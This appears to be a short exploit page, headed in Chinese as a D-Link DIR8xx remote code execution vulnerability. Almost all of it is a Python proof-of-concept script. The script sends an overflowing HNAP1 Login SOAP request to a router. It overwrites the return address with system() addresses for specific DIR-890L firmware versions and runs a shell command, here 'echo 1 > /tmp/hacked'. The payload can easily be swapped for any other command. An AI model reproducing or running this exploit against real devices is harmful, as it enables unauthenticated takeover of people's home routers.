D-Link DIR8xx 远程代码执行漏洞

脚本下载：
hnap

import requests as rq
import struct
  
IP = "192.168.0.1"
PORT = "80"
# Can differ in different version of routers and versions of firmware
# SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01
SYSTEM_ADDRESS = 0x1B50C    # DIR-890L_REVA_FIRMWARE_1.10.B07 
  
def _str(address):
    return struct.pack("<I", address) if address > 0 else struct.pack("<i", address)
  
url = 'http://{ip}:{port}/HNAP1/'.format(ip=IP, port=PORT)
  
headers_text = {
    'SOAPACTION' : 'http://purenetworks.com/HNAP1/Login',
    'CONTENT-TYPE' : 'text/html'
}
payload = b"echo 1 > /tmp/hacked;"
  
print(rq.post(url, data=b"<Action>" + payload + b"A" * (0x400 - len(payload)) + _str(-1) + b"C" * 0x14 + _str(SYSTEM_ADDRESS)[0:3] + b"</Action>", headers=headers_text).text)